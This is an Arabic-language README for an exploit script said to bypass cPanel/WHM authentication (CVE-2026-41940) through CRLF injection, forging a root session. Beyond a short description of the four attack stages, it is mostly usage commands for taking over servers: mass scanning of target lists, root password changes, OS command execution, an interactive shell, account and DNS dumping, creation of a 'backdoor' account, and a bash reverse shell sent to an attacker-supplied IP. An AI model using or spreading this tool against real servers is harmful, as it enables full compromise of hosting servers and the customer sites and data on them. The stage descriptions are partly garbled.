
تجاوز المصادقة في cPanel/WHM (ثغرة يوم الصفر)
إخلاء مسؤولية: هذه الوثيقة والبرنامج النصي المرتبط بها (
exploit.py) مقدَّمان حصريًا للأغراض التعليمية وأبحاث الأمن واختبار الاختراق المصرَّح به. لا تستخدم هذا البرنامج ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
exploit.py هو برنامج نصي يوضح ثغرة تجاوز المصادقة (CVE-2026-41940) في cPanel وWHM. تتيح هذه الثغرة لمهاجم غير مصادَق حقن جلسة صلاحيات الجذر (root) في ذاكرة التخزين المؤقت للخدمة (daemon cache) عبر خلل في حقن CRLF، مما يمنح في النهاية وصولاً على مستوى الجذر إلى WHM دون الحاجة إلى بيانات اعتماد صالحة.
يعمل الاستغلال عبر توظيف ثغرة حقن CRLF (إرجاع العربة وتغذية السطر) داخل آلية معالجة المصادقة الأساسية (Basic Authentication)، إلى جانب خلل في نشر الجلسات. يقوم البرنامج النصي بأتمتة الهجوم على أربع مراحل:
/login/ أو /cgi/login.cgi) للحصول على ملف تعريف ارتباط جلسة أساسي غير مصادَق (whostmgrsession).cpsrvd. ويؤدي رد إعادة التوجيه من الخادم إلى تسريب رمز الأمان المُولَّد (cpsess).do_token_denied لنشر الجلسة المزوّرة في ذاكرة التخزين المؤقت للخدمة — ليصبح ذلك جلسة مصادَق عليها صالحة./json-api/version) باستخدام الجلسة المزوّرة لتأكيد الوصول على مستوى الجذر.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| الوسيط | الوصف |
|---|---|
--target URL | عنوان WHM واحد (مثل https://target:2087) |
--target-file FILE | ملف يحتوي على الأهداف (سطر واحد بصيغة ip:port لكل هدف) — يفعّل وضع الفحص تلقائيًا |
| الوسيط | الوصف |
|---|---|
--threads N | سلاسل تنفيذ متزامنة لوضع الأهداف المتعددة (الافتراضي: 10) |
--hostname HOST | تجاوز ترويسة Host — استخدمه عند فشل الاكتشاف التلقائي أو إعطائه اسم مضيف خاطئ |
--timeout N | مهلة زمنية لكل طلب بالثواني (الافتراضي: 15) |
--retries N | عدد مرات إعادة المحاولة عند أخطاء الشبكة (الافتراضي: 3) |
--cookie-name NAME | فرض اسم محدد لملف تعريف ارتباط الجلسة (يُكتشف تلقائيًا عند حذفه) |
--no-verify | تخطِّ التحقق من المرحلة 4 والمتابعة على أي حال |
| الوسيط | الوصف |
|---|---|
--check | وضع الفحص فقط — التحقق من الثغرة دون استغلالها (يُضبط تلقائيًا مع --target-file) |
--password PASS | تغيير كلمة مرور الجذر إلى PASS |
--api FUNC | استدعاء دالة محددة من WHM JSON-API |
--api-params K=V,... | معاملات مفصولة بفواصل لخيار --api |
--exec CMD | تنفيذ أمر نظام تشغيل عبر WHM scripts/run_script (البديل: rawexec) |
--session | توليد رابط تسجيل دخول بضغطة واحدة بصلاحيات الجذر — افتحه فورًا، الرمز تنتهي صلاحيته بسرعة |
--shell | الدخول إلى قشرة WHM تفاعلية (لهدف واحد فقط) |
--dump | تفريغ معلومات الخادم: الإصدار، الحسابات، مناطق DNS، الصلاحيات |
--add-user USER PASS DOMAIN | إنشاء حساب استضافة cPanel جديد |
--revshell LHOST LPORT | إرسال قشرة عكسية (reverse shell) بلغة bash إلى المستمع الخاص بك |
| الوسيط | الوصف |
|---|---|
--output FILE | حفظ رمز الجلسة والتفاصيل في ملف JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
عند استخدام --shell، تتوفر الأوامر التالية:
| الأمر | الوصف |
|---|---|
api <function> [k=v ...] | استدعاء دالة WHM JSON-API (مثل api version) |
exec <command> | تنفيذ أمر نظام تشغيل عبر WHM (مثل exec id) |
passwd <newpass> | تغيير كلمة مرور الجذر |
dump | تفريغ معلومات الخادم |
revshell <lhost> <lport> | إرسال قشرة عكسية |
add <user> <pass> <domain> | إنشاء حساب cPanel |
save <path> | حفظ الجلسة الحالية في ملف |
exit / quit | الخروج من القشرة |
طبّق أحدث التصحيحات الأمنية لـ cPanel/WHM فورًا.